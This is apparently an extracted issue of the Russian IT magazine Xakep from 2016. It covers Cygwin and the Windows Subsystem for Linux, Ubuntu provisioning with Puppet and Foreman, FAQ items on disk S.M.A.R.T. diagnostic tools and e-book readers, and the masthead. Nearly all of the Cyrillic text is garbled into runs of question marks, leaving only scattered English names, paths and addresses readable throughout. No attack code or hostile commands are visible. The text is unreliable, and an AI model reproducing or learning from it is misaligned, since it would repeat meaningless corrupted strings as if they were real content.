???а????? ?????????, ??? Cygwin ??????? ????????? ????????????? ???????????? Cygnus ??а???????? ?аWindows (?? ????? ?????????? ????????????
DJGPP). ???? ??????? ??? ???????? ???????????????, ???? ?????-?????????? ????? ?? ????????????? ?а???? ????????????: ????? ???? ????????????
?????? ??????? Sun ???а?????? Windows-?????-??????????? MIPS, ??? ????????? ??????????? ????????? ?????. ?а1998 ???? Cygnus ?????????? ?????
Cygwin ?а???????? ???????????????? ????????.
????? ????????, ??? ????????? Cygwin ???? ?? ?????? ??????? ????????????? WSL. ?а???????, ???а????????? ????????? ???????????? ??????.
????
????? ?????? ??????? ?а????????????? ????? ?????? ??????? ?????????? ??????????????? ????????? Linux ????? ?????? Windows 10. ??? ??? ????? ???????? ???? ????? ???? ???????. ???????? ????????? ???????????? ???, ?????
????, ?а??а?а????, ?а??? ????????????, ???а???????, ??? ??????? ????? ????????
??а???, ????????????? ?????? ???????? ????? ?????? ?????????? ???а??????.
???? ?а???????????, ????? ?????? ?????? ????? Microsoft GNU/Linux.
SYNACK
??????, ??????,
??????? ??аPUPPET
??????? ?????????????
PUPPET + FOREMAN
??????? ???????? ????????????? ?????? ?а?????????? ???? ????????, ?????? ?????? ?а?????? ???????, ??????? ?а????? ????? ????????,
??????????? ?а?????????? ?а????????????,
????????? лPlus╗ ???
plus@omsklug.com
?а?????? ??????????? ?а?? ???????? ?????????????? ??????????
OmskLUG.
????????????
????????. ?а????????, ???? ?????? ????????- ?????? ?????????????
?? ????????????
??? ?а??????? ??????????? ???????? ??????? ?????????????????,
?????а????????
???????, ?? ?????? ??а??? ????? ???? ??????.
??а???? ????? ?а?????????? ?????????? ??а??????? ?а????????? ?????????? ?????????????? ????????.
?а???????? ???????, ??????? ?????????? ????????????????, ????????? ?а????? ?????????? ??????? ????? ???????????? ???????????. ????? ??? ??????????? ??а???????? ?????????????. ?????? ????? ???? ???????, ????????
?а??????? ???????????? ??????. ?а????? ?????? ???? ???
????????? ???????? ?????????? ?????????????? ?а?????????? ??????????? ????????? ????? ??????? ??? ??? ???? ?????. ??? ???????????? ????? ?а????????? ???????? ???????????????.
?а???? ????????
??????? ???????? ?????? ?????????????, ????? ?????????????? ??????,
???-???????, ?????? ???????????, DNS-??????, ?????? Jabber + ???????? ????????? ?а?????? ??????. ????? ?????? ??????, ????? ?????????? ????????
?????????, ?а?? ??? ????? ???? ?????????? ?а???????????, ????????? ???????
????, ?а?????а? ????????? ??????? ??????.
???????? ????? ????? aNimble ?аPuppet. ????????? ??????? ????? ?????????. ????????? ??? ????????? ????? ?????? ??????? ??а?????? ????????,
??????? ??. ????? ????????? ??????? ?а????????? ??????? ??????? ????? ??????, ???а??а???? ???? ?????????. ?????????? ???-?? ??????????. ??? ????????????? ?????? ??? ????????: Dashboard-Lite ?аEnterprise Dashboard. ??????
?????????, ?а??? ????? ?????? ????????? ?а?????? ?????? ??а?????? ???а??????????? ??????????. ???????????? ??????? ??а?????? ?а????????? ??а????
??? ?а??а?????, ???? ?а??????? ??? ????????? ????????????. ????? ?????????
enterprise-??????, ????? ???? ?????????? ????????, ????? ????????? ?????
???????????????. ???????? ?????????? (30 ????), ???????????: ??????????? ??????, ??? ?аlite, ??а??? ??а????? ??а???????????? ????? ????????????.
????? ?????? ???????? lite ?а?????? ??? ?????????.
?????????? ??? ???????, ??????? ??????. ??? ???????? ??????. ??а?????? ????? ???? ???? ???????:
?
?
?
?
??????? ?????????? ????? /etc/resolf.conf ?а???????? DNS-???????;
?????????? ??? ????????: htop, iftop, Nmap;
?????????? ?????? Zabbix, ????????? ??????;
????????? ????????????.
?а???, ????????? ??? ??????? ??а??????????, ????????? ??аForeman. ??а???????? ?а?????? ????????? ???? ??????. ?а???? ?????? ???? ?????? ??????? ???????? ?а?????????? ???????. ????????? ?а??? ??????? л????????????╗а? ????
?аUbuntu 12.04 ?а14.04, ?а?????? ????????????? ??а14.04, ??? ? ???????? ??а?????? ??????. ????? ????????? ????????????, ???? ???????????? ??а12.04 ??????
??а??????????? ????????????. ?а????? ????????? ??? ????? ?????? ??????.
???а?????, ?????? ????????????? ?????? Puppet, ???????? ??а?????? ???, ????????? ???????? л????? ???????╗ ?а?????? ?а????????? ?????. ?аForeman ??
????????, ?а??? ???? ????????? ??а???? ???????, ???? ??а????? ?????????????? ??????. ??? ???? ?????? ??????. ???? ?а???, ??? ?аForeman ??????????????? ???? Puppet. ?а??? ??? ??????????? ??????? ???????????? ???????????
???????? ?а??????????. ????????, ???а????????? Puppet ??????????????
??? ????? ?????????: sipe.ppа? ?????????, node.ppа? ???? ?а?????????
????? ?аclass.pp, ?а??????? ??????????? ??????. ?аForeman ??а??????? ???????? ?????? ?????????, ??? ?????????? ?????????? ??????? ???а????? ????????. ????????, ???а???????? ?а???а??????????. ????? ???????? ??? ???????? ?а????? ?????????, ??? ?????????? ????????? ?а?????? ?????????.
??? ????????? ???а???? ?????? ?????? ???? unit.pp, ???а?????????? ????????? Foreman. ?а????? ?????? ????? ?????? ???? л????????╗ /etc/puppet/
environments/production/modules/class_name/manifests ?а?????? ??????
?????? ???? init.ppа? ?????? ?а????? ?????? ?а??????? ??????. ???а????????????? л??????╗ ??????????, ??? ??? ?а????, ???????? ??????. ?????? ?а????
??а????? ???а?????? ???????? ??? ?????? ?а???? init.pp. ???а?????? ?а????
??????????? ?а?????????? ?????????, ????? ?????????? ?? ?а???-?????????? Foreman. ????????? ??????????? ????? ????? ?????? ???????? ?а??????,
?????? ??а??????? ? ??? ????. ??? ??? ???????????: ????? ??????? ?????????? ???????? ???????? ?а?????????????? ??????? (?? ???? ????? ?????????
?????? ?а????????? ?а??а?????? ??а??????? ??????????? ??????); ??????? ????? ?а??????????. ?????, ????? ??? ?????????? ?а????????? ?????? ???????,
? ??????? ????????? ???????????? ??????? ????????? Puppet-???????.
????? ??????? ?? ???? ??????????, ??????? ?? ????????????? ??? ????????????????? ???????????? ?а?????????? Puppet-????? ?а???????. ?? ???
?а?а????????? ????????????, ?а??????? ?? ????????. ?а?а?????? ?????? ?????????? ??аC ?а?а?????????? ????????? ????????????? GNU/Linux.
?????? ?а??????
????, ?????? ?а?????????? ??????? ??аbash. ????? ??? ????????? ????-??????
??а????????? л?????╗ ????????? ????????????, ?а???? ? ?????? ??а???????
?????? ?????? ???аUbuntu. ??а?????? ??????????? ??????? ?????? ??а?????????? Omsk Linux User Groupа? Shroom.
????? ?????
????? ??а?????????? OmskLUG ????? ?????????? ?а?????? ????? ??????.
????? Jabber-???????????: omsklug@conference.jabber.ru.
???????? ?????????, ???а?????? ??аbash (??? ?????????). ?а????????? ? ???????
??????? ??а????????? ???????? ??аbash, ?? ?а???? ???? ?????????????. ????? ????? ???????, ??????? ????????? ???????, ????? ?????????, ??? ??а?????? ????????? ?????? ???? ??? ?????? Ubuntu: 12.04 ?а14.04. ????, ??? ????
??а???????.
????? ?? ????????? ???????? ?????????, ??????????? ?а???????? ???????
??? ???????? ???. ????? ????????? ?????? ???? ?а????????? ????? ?????????? ?а????? /etc/hostname ???а??????????? ????? ????? ?????. ????????
??? ??-?? ????, ??? ??? ??????????? ???аPuppet ?а??? ????? ?????????. ?а???
???а??????????? ????????? ?????? ????? ????? ????????? ???????, ?? ????? ????????? ??????? hostname ??????????.
???????? ????????? ????????, ?????????, ??? ??а?????? ??????, ?????
?????? ?а/etc/hostname. ???? ??????а? ???????.
????????? ????????? Puppet-???????. ????? ?????????, ??? ??????а? ?K ???
??????, ?а????????? ?????? ????????????? ???????. ???? 12.04а? ??????
????? ?аpuppetlabs. ????????????? ???, ??????? deb-????? ?а??????????, ????????? ????????? Puppet-??????. ???? ?????????? ??а??????. ????? ?а????
/etc/puppet/puppet.conf ????? Puppet-???????, ????????? ?????, ?а????????????? Puppet-?????. ???? ???а? ?????? ???а14.04 ?а????????? ?? ?? ????,
??? ?а???а12.04 (???? ??? ??????? ???????? ???а???? ??????а? ?а????????????? ?? ???????? ?а????). ???а???????? ????????? ??????? puppetagent. ?а????????? ???? .bashrc.
??? ??????? ??????? ????????? ?а????????? Puppet-???????. ???а????????, ??????? ???????? ?? ????? ???. ??? ?а?а???? ??????: ?????? ????? ?????? ???
???????, ?????? ???? ?????? ?????????а? ??а????????? ????????????? ??,
?а?????? ????? ???????????? ?????? ??????? ?????? Linux, ?а??????? ??????????? ??????. ?а???????? ????????-????? ?????????? ?а????????? Puppet ?а??????? whiptail --gauge ??? ???????????? ??????????? dialog. ????????
????????? ???? ??а??????????, ????????? ??а????????????? ?????? л?????????? whiptail --gauge╗.
???? ???????, ???????????? ?а??????, ?а?????????: ???? ??????? ???????,
???? ???????? ??? ?????????. ????? ??????? ???????????, ????????-???
??????????????? ?а100% ?а????? ???????????. ??а?????? ??????, ??а?????????
?????, ????? ?????. ????? ????????? ?????? ???? ????? ???????? ?????????
???????. ???а????????? ?, ??? ??????????, ?????? ???? ????? ??.
???а?????, ??????? ??????? ????????-???а? ????? ?? ?????-????? ??? ????? ??а????????? ????????-???, ?а??а????????. ????? ????? ???????? ?????? ??????? ???????. ??????
??? ??? ????????? ?????????? ???????? ?а??????? ????????? ???????. ??????? ?? ?????? ??а???? PXE, ?????? ????????????? ??????? ??а???-??????? (? ???, ???а??? ???????????, ????? ????????? ?а????? ?????? ??аPXE ?а??????????
WWW
???????) preseed.cfg. ?????? ??????? ????????? ????????????? ????????? ????????????? ??а???? ?????????, ??? ?????????? ?????
?? preseed.cfg
???????. ????? ????? ???????, ????? ????? ????????????
??????????? ????????????? ????? ??????????, ???а???????
?????, ???а????????? ???? ?а??????.
??? ?????????? ????????? d-i preseed/late_command string. ???а???????? ??????? ?????? ????? ?а?????? preseed.cfg ??а???-??????? ?а????? ??????? ??? ?а???????? ?????????.
???? ??а???? ????? ???????????? ??????, ?? ??? ????? ??????? ????????????.
?а?????? ?????? ?????? ??????? Puppet, ???????? ?????? ????????? ???????.
?????????? ???????????? ????? ?????? ???????? ???????. ? ????? ??????? ??а??????? ????: ??аd-i preseed/late_command string ?????? ????????
???? ??????? ?а???????, ?а??? ????? ???????????? ???????? ???.
????? ??????? Puppet-?????????. ????????? ?????? ????????? ???????? ?????? ???????? ?а??????????? ?а??????? ??????????? Zabbix. ?????? ?????????? ?????? (zabbix) ????????? ???? ????????????, ??????? ????? ?????????? Puppet-???????? (?????? ?????????????? ????????? ?а??????).
?????? ??а??? ????? ??????? ????????? ????? ???????? Puppet. ?а?????
????????? ?????? zabbix ??????? ?????????? Zabbix-??????, ?????? ??????????? ?????? ?а????????? IP-?????? ??????? Zabbix ?а????????????? ????????? ????????? ???а??????????? ??????????? ??????????? ??????:
?а????????? ??? ??????????. ??????????? ??????? ??????????? /etc/
resolg.conf ???а???????? DNS-???????. ????? routelan.pp ?????????? ???а????????? ?????????, ?????? ?????? ??????, ??????? ????????? ?а/opt/lan.sh.
????, ?????, ???????. ??????? ????????, ??? Foreman ???а???????? ??????????? ?а?????????? ???????????/?????????? ?????????? (???????) ??????????
???? ????? ???? ???????. ?а????????? ?аPuppet Dashboard ???????????????
??а??????.
??????? ???????? Foreman
?????? ???????? Puppet ?аForeman
????? ???????????? Puppet
??????????
???а?????????? ????????, ???????? ??????? ????????????? ????????????
??а30 ??а50% ???????, ??? ???? ???????????? ?????????? ?????????????????? ?????????? ??????????????. ?а????? Puppetа? ????? ?????? ???????, ??????? ???а?????? ?????????? ??????????????? ??????????? ??а????? ?????????.
P.S. ???????, ?? ??а???????? ????? ??? ;) ??????? ? ?????!
FAQ
??????? Zemond
?????????
3em0nd@gmail.com
FAQ
?????? ?? ???????
?????????
(???? ???????? ??? ?? FAQ@GLC.RU)
????????? ???????? ???????????? ???? ??а???? ??а???????????? ????? ?аWINDOWS
?а?????? ?????????? ??????? ????????? ???????? ????????: ??а????? ??????????? ?????, ??????? ??????????? ????? ??????? ?а???, ????? ?????????? ?????? ???? ??????-?? ??а?????? ??? ??????????? ??а??????? ?????????,
?а????? ???????????? ????? ?????????????????. ???а??????? ???, ????? ?????
??а????????????
????? ?????? ??????????? ???? ?а???????????????? ????????? ??а??????????? Microsoft. ???????? ???????? ????????? ???????. ??????, ?а??? ????
???? ????????????, ???????? ????? ?????? ?????? ????, ?а?????? ????????????, ???????? ????? ?????? ?а??????. ?аActive Directory ?????? ??? ?????????-??????. ??????а? ???а???? л?????? ??????╗, ??????а? ?а??????? ??а??????.
????????????? ??????????? ?а??????????????? ???????. ????? ????? ?аACL
(Access Control Lists) ??????????? ????? ????????? ?????? ????? ???????
???а???? ?????.
????? ???? ???????? ??? ????? ????????, ???а?а???? ????????. ???, ??-??????? ???????? ???????? ????? ??а??????. ????? ?????????????? ?????
???а?????? ???? ?? Microsoft Office ??????????? ACL ????? ????????????
????? ?а?????.
??????? OUTLOOK ?аANDROID
???? ?????????? Outlook ??а??? ??????, ?? ??? ?а????????? ????? ?????????
????????. ??????? ?????????? ?????????? ????????? ????????, ?а??-?? ???
?????? ??? ?а?????????? ??????? ?а???? ??а?????????? ???????? ??????, ??????? ???????? ????? ?а????? ??????? ??????. ???а??????? ??????? ??? Android
????????????? ??????? ?а??а???? ??????? ???????????. ???????????, ?????????? ????????? ???????? ??????? ????????, ????? ?????????? ??а?????????
??????????.
Outlook ????????? ?а??? ???????????, ??????? ???а????????? ???????? ????? ?????????????? ??????????, ??? ????? ???????? ???? ??????????. ?а???????, Outlook ???????? ????????? ????????? ?????? ??а?????????, ??????????? ???, ??????????? ????????????, ????????? ?????????? ?а?????? ??????
??????. ???а??, ????????, ??? ?????????, ???а???????? ????? ??????? ??????
??? ????????? ????. ???а????? ??????? ?а????????? ??????? ?а???? ??а???????
л????????????╗.
??????? л????????????╗
л?????????????? ??????????╗
??а??? ??? ?????????? ????? л????????? ??????? ??????╗.
??????? ?ал?????????????? ??????????╗.
????? ??? Outlook, ???????, ????? ?????, ????????? ???? ???????? ?а?????? ??????????. ?????? ??а???? ?а?????????.
?????? ??????????????? ??????????
????????? ?????????
????? ???? ???????? ???????? ?????????? ???а?????-???? ??????? ????????
?а??????????. ???а??????, ??? ???????? ??????, ????? ??????, ??? ?????? ?а????
??????.
???????? ??????? ???а???????? S.M.A.R.T. ??????? ??????
??а????????
????????? ??? ????????? ????????? ??????????? ????????? ??????? ??????.
???а??, ????????, ??????, ????? ???? ?????а? ??????? ??а?????????? ??????
?а?????????? Live CD. ????? ????? ???????? ????? ???????????.
???? ??а????? ???????????????? ?а??? smartctl. ???? ?????? ???аWindows,
OS X ?а???? Live CD. ??? ??????? ?????, ???????? ????? ????????? ?????????????? ???????? ????? cron ?а?????? ???? ?а????? ????????? ????? ??????.
smartctl ?а????????
???? ??????? ???-?? ?а??????????? ???????????, ?? ??? ????? ?????? ????????: ??а?????????????????? ???????? ??а???????? S.M.A.R.T. ??а????????
????? AIDA64, ??????? ???????? ??????????? ??? ???? ?????????? ???????
?а????????? ????? ?????? ????????????. ???? ??а????????, ??????? ?????????? ????????????? ?????????? ?а?????,а? ??? HDDScan. ????????? ?????
??????? ?а???????? ?????????, ??а???а???? ?а??? ???????? ???????????:
? ????? ???????????: ?а?????? ???????? ???????????, ?а?????? ?????????
?????? ??? ???????? ??????, ?а????? ?а?????? ?????? Butterfly (????????????? ???? ?????????? ??????);
? ?????? ?а?????? ?????????? S.M.A.R.T. ?????? ?а???????????? ATA, SATA,
USB ?аFireWire;
? ?????? ?а?????? ?????? ????? ?а?????? ?а??????????? SCSI;
? ?????? ?????? S.M.A.R.T. ??а??????????? ?а???????????? ATA, SATA, USB
?аFireWire;
? ?????????? ??????????? ??а??????????? ?а???????????? ATA, SATA, USB,
FireWire ?аSCSI;
? ?????? ?а?????? ????????????????? ?????????? ?а??????????? ?а???????????? ATA, SATA, USB, FireWire ?аSCSI;
? ????????? ?????????? AAM, APM, PM ??а??????????? ?а???????????? ATA,
SATA, USB ?аFireWire;
? ???????? ?????????? ?а???????? ??а??????????? ?а??????????? SCSI;
? ?????? ?а????????? ???????? ??а??????????? ?а???????????? ATA, SATA,
USB, FireWire ?аSCSI;
? ?????????? ??????? ?а??????? MHT;
? ?????? ???????;
? ????????? ????????? ??????;
? ????????? ??????????? SSD.
??????? ???? HDDScan
????? ??????? ???????? ??? ???? ?????????? ????????? ?а??? ??????????
CrystalDiskInfo ?а???????? ?????????? ?????????? ?а??????: ?? ??????????????, ??????? ????????? ?а?????? S.M.A.R.T. ?а?? ??????? ????? ?????????
??????????? HDD ?аSSD ?а????, ?а???? ?? ??? ????? ?????? ????????? ??а????????? ?????, ????? ??????????? ?а?????????, ????? ????????? ???????????
Advanced Power Management ?аAutomatic Acoustic Management (????????????
???????? ???? ?????? ?а???????? ???????). ??? ???? ??а???????? ????????,
??????? ???????????? ??????? ??????? ????? ?аRAID-??????? Intel.
CrystalDiskInfo
??а??????????? ?????? ??? ?????? ????? ???????? Victoria. ????? ?? ??????:
? ????????? ?????????;
? ?? ??????? ?????????а? ???а?????? ?????? ??? Windows ????????? ??????
??????? ?а????????? ????? /system32/drivers/ ????? porttalk.sys;
? ?? ???? ??????? ??????? ?а???????????? ???????? ?????? ????????? ??????;
? ??????????? ???? ????? ????? ??????;
? ???????????? ????????? ????????? ??????;
? ???? ????????? ?????????? AHCI (? ???????, ????????, ??а?????????
MHDD; ????? ??????? ?аMHDD ????????? ?а???? BIOS ????????????? ??а????? ???????? IDE).
??а???? ?а??????????:
? ??? ?????????? ????? Random Seek ????? ?????? ??????;
? ??? ????????????? ??????? ?????????? ??????????? ????????? ???а???????? ???????? ??????/?????? ?????????? ?????? ???????? ?????? ??????? ?????????. ??а?????? ???а?????????? ????????? ?????? ??????а? ?????
????????? ???? ??????????, ????? ??????? ??а?????? ??????? ?????????
????? ??????? ????????;
? ???????? ??? ????????? ??????;
? ??? ????????? ?????? ???????????? ??????.
?а??? ???? ????????? ????? ?а?????????? Victoria ??????????, ?а?????????
?????? ?????????? 2008 ?????.
Victoria
???? ??а?????-?? ??????? Victoria ??а??????????, ????? ???????????? MHDD.
??? ????????? ???а?????????????? ??????????? ??????? ??????. ??? ???????????? ?????? ??а????? ????????????????? ????????????: IDE, Serial ATA,
SCSI. ?а???а?????? ???????????? ???????? (???????? USB ????? SCSI) ????? ???????? ?????? ?а???????????, ???????????? ??аUSB. ??????? ?????????
??????????? ????? ?????? ??????????? ???????????? ????? ??????????, ????????????? S.M.A.R.T.-????????, ????????????? ????? ??а?????? ?????? (Low
Level Format) ?ал??????╗ ????????? ???????.
MHDD ??а???????
????? ??????? ?????????? ??а????????????? ??????? Victoria ?аMHDD, ???????? ?????? ??????????????. ?а????? ??????????? ???????????? ???, ?а???????? ?????? ??????. ?????? ?????????? ??????? ??а?????? ?????? ?а?????
???????, ????? ??????, ??? ???? ??????? ??а??????, ?а?????? ?????????? ?????
?а?????? ???????? ?а?????????????? ????????????, ????? ???????????, ??? ??
??а???. ??? ??? ????? ????? ????????? ?????? ??а??? ?????? ?????.
???????? ????????? ???а?????? ???? ?а?????? ??????????
???? ?? ?????? ????????, ??а???-?? ?????? ???? ??????????? ??а?????? ?а???????? ??????? ??? ????????? (? ???????, ??, ??? ?? ?????? ??а?????? ?а??а?????? ???????? ????? ???????????), ???? ?????????? ????????? ???а?????? ????
?а??????. ?????????, ????? ???? ?????. ??????? ???????? ?????, ??а? ????????? ??????????????? ??аFB2 ???а??а???????? ????????????????.
???? ??а???? ??????? ???????? ?а??? Cool Reader. ??? ?????-????????????? ??????? ?а???????? ??????? ???????. ??? ???????????? ???????
FB2 (??????? ???????, ?????, ??????? ?а?????????), EPUB (??? DRM), MOBI
(??? DRM), PDB (PalmDOC, eReader), DOC, RTF, HTML, CHM, TXT ?аTCR. ?????
???????? ?а??????????? ???? (FB2, EPUB, RTF), CSS ?аFB2, EPUB ?аHTML, ?????????? JPG, PNG ?аGI. ????? ??????? ?????? ??????а? ???????? ??????? ???
?????????. ????????? ????? ?????????? ??а??? ???????? ?????, ???????????? ????? ??а??????, ?????????, ???????????? ?????? ?а??????. ????????????
???????? ??а90, 180 ??? 270 ????????, ????????????? ??????????? ????????
(? ??? ????? ??а???????), ????????????? ??????????????? TXT, ??????????
????????? ?а??????? ??????, ????? ????????????? ????? ?а??? ?????, ?а???
?????. ???? ???? ???????? ?????? ???а?????? ?????, ?а?а?????? ???а?????????
????????? ?????? ??? ??????.
Cool reader
??? ???? ????????? ????????? ?а??? ICE Book Reader Professional. ICEа? ?????? ??????? ??????????? ??????, ??????? ????? ???????????? ???а????????
?????? ?а?????- ?а??????????. ?а??? ??? ?????????????? ??????? ???а???????? LIT, CHM ?аEPUB, ??????? ??а?????????? ?????????? Microsoft Reader ???
Microsoft Help. ??? ????? ??????????? ?а???а????????? ????????? ????????:
TXT ?аHTML ?аHTML ?аTXT, TXT ?аDOC ?аDOC ?аTXT, PDB, LIT ?аFB2 ?аTXT ?а??? ?????, ?????? ?????????????? ?а??????????? ?????????. ??????, ????? ??а?????? ?????????????? ?а?????? ??????, ??а?а?????? ?????????????? ??????????.
?а???????, ???? ????????? ????????? ?????????? ?а??????? ??????, ??? ????
???????????.
ICE Book Reader Professional
?а???????, Haali Reader. ??? ?????? ???????, ??????? ?????? ????????????
?????? FictionBook, ??? ??????? ??? ??????? ????????????. ?????? ?????, ???
????????? ?????? ????????? ?а???????? TXT, XML ?а??????.
Haali Reader
?? ?а???????, ????? ???? ???????? ???? ???? ??????. ????? ?аCalibre, ??????
?????? ???????? ??????????? ????, ?аToM Reader Russian ??а????? ??????????? ??????? ???????, ?а????? ?????? ????????. ??а???????? ????? ??? ???
??????, ??????? ?????? ?а??????? ??????????.
18+
? 6 (209)
???? ???????
??????? ????????
rusanen@glc.ru
??????? ???????
??????????? ????????
glazkov@glc.ru
?????? ??????????
???-????????
pismenny@glc.ru
??????? ????????
???????????? ????????
????????? ??????
?????? ??????????
PC ZONE, ?????, UNITS
pismenny@glc.ru
????? лant╗ ?????
?????
zhukov@glc.ru
???? ???????
?????
goltsev@glc.ru
??????? ??????
X-MOBILE
zobnin@glc.ru
???? ???????
??????
rusanen@glc.ru
????? ???????
UNIXOID ??SYN/ACK
kruglov@glc.ru
????????? лDr.╗
?????????
MALWARE, ??????,
PHREAKING
lozovsky@glc.ru
MEGANEWS
????? ????????
nefedova.maria@gameland.ru
???
???? ??????????
???????????
???????? ??????
???? ??????
???????
???????
????? ??????????
???????? ?? ???????
samsonenko@glc.ru
??????????????? ? ????????
????????? ?????????? ??а????????: paywall@glc.ru
????? ???????????????
??????? ??????? (lapina@glc.ru)
????? ???а?????: ??????, 109147, ?/? 50
? ?????? ????????????? ???????? ??????????? ??????: claim@glc.ru. ????? ????????: 115280, ??????, ??. ????????? ???????, ?.а19, ????? ?????. ????????: ??? л?????╗: 606400, ????????????? ???., ???????????? ?-?, ?. ???????, ????????? ??., ?.а 13. ??????????: ??? л??????? ????????╗, 614111,
???????? ????, ?. ?????, ??. ?????????, ?. 26. ???????????????? ?а??????????? ?????? ?? ??????? ? ????? ?????, ?????????????? ?????????? ? ???????? ???????????? (?????????????), ????????????? ?? ? ??77-56756 ?? 29.01.2014 ????. ?????? ???????? ?????????????? ????????? ????????? ???????. ??? ????????? ???????? ??????????????? ??? ?????????? ?????????????. ????, ???????????? ?????? ?????????? ?????????????????
?????, ????? ???? ?????????? ?????????????????. ???????? ???????? ??????????????? ????????????? ????????? ?????????? ????????. ??????????? ?????????????? ??????????? ???? ???????????????? ???????????? ?????????? ??????? ??????????? ?????????: xakep@glc.ru. й ?????? л?????╗, ??, 2016
???????? ????
Linuxа? ?????? ??????????? ????? Linux ??????????? ????????? ??????????? ?????????, ??а???? ????????????? ????????? ?????? Linux ?а?????????
?????? Windows. ??а????, ?????????? ???????? ?????? ??????? Wine, ?????????? ???????? Windows Subsystem for Linux (?????а? WSL) ?а????? ??????????? ??а???????? ??а?????????????????? ??????????? ?????????? Linux.
????????? ????? ????а? ??а????? ??????????? ??????.
???а?????? ????? ?????????? ?????? Windows 10 14316а?
????????????????? ?????? Windows 10 ???а????????????? ?а?????????? ????????? Windows Insider. ??????????
?????? ?????, ??????????? ??а??? ??а????? Windows.
???а???? ????? ???? ?????????? ????????? Windows
INFO
Insider ?а??а?????? ???????? ?а?????????? л???????╗ ???????! WSL
??????? ????????????????? ??????. ????? ???? ???????????????????
??? ??????? ??????? ISO-????? c ?????????. ???? ???????
?а???????? ??????
??а?????? ?????? ???????? ??????????, ?????? ??? ??а???.
?а64-?????? ???????
????????????????? ?????? Windows 10 ??????????????Windows.
?? ????????? ???а???? (????? ???аLinux!).
????? Microsoft ??????? ????????? ??????? ?????????? ???аWindows 10
???? ??????, ??????? ??а????????? ????? ???????? WSL. ????? ?????????
Windows 10 Build 14316 ?????????? ?????????? ??????????? ????? Ubuntu,
????????? ??аMicrosoft Store. ????????? ?????? ?????, ???????????? Windows
10 ?????? ????? ???? л????╗ ??????? ????????? ???????? cmd.exe, ?????????
?а??? bash ?а???????? ??????? ????????? ????????? ?????? Ubuntu. ???????????? ???????? apt, ssh, rsync, find, grep, awk, sed, sort, xargs,
md5sum, gpg, curl, wget, apache, mysql, redis, python, perl, ruby,
php, gcc, tar, vim, emacs, diff, patch ?а??????????? ???????? ??????? ??а?????? Ubuntu, ?????????? ?????????? ?а????????? ??????????.
???а???? ????????? ?????????? ???? ???????? ??????????????????, ???????? ??-?? ???????? ???????? ????????? VT100 ?????????? ????????????
byobu, screen ?аtmux.
?????????? Ubuntu ??????????? ?а????????? ????????????? ????????
???????, ??????????? ??????????? ???????? ???????? ?аLinux. ????????
??????? Windows ???????? ??а?????? ?а????? ????????, ????????????????
?а????? /mnt. ????????, ????? C:\Users\Kirkland\Downloads ???????? ???а/
mnt/c/Users/Kirkland/Downloads.
???аWindows-?????????? ???????? ???????? ??????? Ubuntu ?????
???а C:\Users\Kirkland\AppData\Local\Lxss\rootfs\. ???а????????? ?????????????? ??????? ?а?????????? ??????? ??????????? ??????????????
apt ?а????????? ??????? ??????? ?а?????????? ??а???????????? Ubuntu. ???
????????? ???? ???????? ???????? (??????? ?а???? ?????? ??? ?????????,
?а??а??? Ubuntu, ???????).
WSL ??????????? ???а??????, ??????????? ??а?????????? ?????????????
Linux. Ubuntu ?????? ???а???????? ?а?????? ?????? ???а???????? ??????????
??????????? ?а????? ?????????????, ?а??? ???????????? ??????????? ??????
(????? ?????? ?а?????? ?????????? ????????? ???????), ??????? ????????
?? ????????? ???????????????? ????????? ?????? ????????????? ?а???????,
?????????? ?аMicrosoft. ???аWSL ?а???? Windows ???? ?????????? ??????????? ????????? fork() ?а????????? ?????? ??????????? ????????? ???????
POSIX ?аLinux, ??? ????????? ???????? ?????????? ????? ???????????, ???
???а????????????? ????????. ????? ?аWSL ??????? ????????? ??????????
??а????????????? ???? Linux: ??а????, ???????????????? ????????? Ubuntu ???????? ?????? ???? Windows, ??? ?? ???а?аNexenta OS ???????????????? ????????? Ubuntu ???????? ?????? ???? OpenSolaris.
WSL ??а?????????? ??а????? ????????? ?????????? POSIX (SUA), ???????
?аNT 3.5.1 ????????? ???? ??????????? ????? ????????? ??????? ?а??????? ???? ???????? ??а??????? Services for UNIX (SFU), ?????????? ??а?????????? Interix. WSL ???????? ????????? ????? ???????????, ??а?????????
?????????????? ???????? ??? ?????? ??????????? ?????????????. ?аWSL
???????????? ????? ?????????????? ???? Windows, ??????? ????????????? ???? ????????????? ?аLinux syscall API
?а??????????? ?????????, ??? ????????? ???????? ?????????
??? ???????????? ?аUbuntu ?????????????????? ??????????? ?????, ??? ?? ???а??????????? ??????? ?????????
???аWindows. ??а????, ???? ???? ?а????? ????????? ???????WWW
??? ????????? ??а???? ?а??????.
????????? ??????????? ?????????? ??а???????????. ????? ?????????
?а???????????
????? ????? ????????? ????????? ??????????, ??а??????????????????
?? ?????? ??а?? ????????????, ??? ??а????????????? ??????
?аWindows 10
Linux-???????? ???а????????????? ??????????. ?????? ??Insider Preview
??а?????? ???
????? ?????? ??а?????????????? ?????????????? ?????????
?????? ???а?????????????.
Ubuntu Bash ?аWindows 10 ?? ???? ?????
??????? ??а?????????
????? ?????? ???????????? WSL ?а????????? ??????: ??????? ????????????? ??а???
???????? Dell Inspiron л???????╗ ???? ????????? ??аWindows 10. ??? ?????? ????? ???? ????? (?? ?????? ??????? ??а???????? ?????? ?а??????? Microsoft). ????? ???? ??????? ????????????? ??????? ????????? ????????? ???????? ?????? Windows 10 Build 14316. ???? ?а???, ??? ????? ??????? ??а??? ????-????????
Windows 10 ?а??-?? ????? ??а??? ??????????? ?а????????? Windows Insider. ??????? ?????, ??????????????????? ??а????? ???а????-????????, ?? ??????????
??????????. ??а???-?? ????! ??????? ?????? ??а?????? ????, ??? ?? ?????????
?а????????????. ?а???? ?? ??а???? ?????????? Windows 10
??а???????????????. ????? ?????? ??? ??????? ???? ??????? ??????
Документ
Категория
Без категории
Просмотров
367
Размер файла
16 204 Кб
Теги
hakr062016
1/--страниц
Пожаловаться на содержимое документа